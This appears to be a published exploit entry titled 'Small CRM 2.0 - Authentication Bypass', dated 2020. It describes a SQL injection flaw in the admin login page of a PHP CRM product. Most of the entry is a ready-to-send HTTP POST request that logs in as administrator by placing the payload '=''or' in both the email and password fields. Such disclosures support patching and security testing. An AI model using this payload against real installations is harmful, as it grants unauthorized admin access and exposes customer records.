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# Exploit Title: Small CRM 2.0 - Authentication Bypass  
# Google Dork: N/A  
# Date: 2020-01-02  
# Exploit Author: FULLSHADE  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/small-crm-php/  
# Version: V2.0  
# Tested on: Windows  
# CVE : N/A  
  
# Description:  
#  
# There is a SQL injection vulnerability in the /index.php page  
# which allows for an attacker to use the SQLi login bypass payload  
# '=''or' for both the username and password parameters, this allows  
# for any authenticated or low level user to login to the admin account.  
  
========== 1. Authentication bypass ==========  
  
POST /Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php HTTP/1.1  
Host: 10.0.0.214  
User-Agent: Mozilla/5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 57  
Origin: http://10.0.0.214  
DNT: 1  
Connection: close  
Referer: http://10.0.0.214/Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php  
Cookie: PHPSESSID=k5845lo7s90it5p33js75665jq  
Upgrade-Insecure-Requests: 1  
  
email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&login=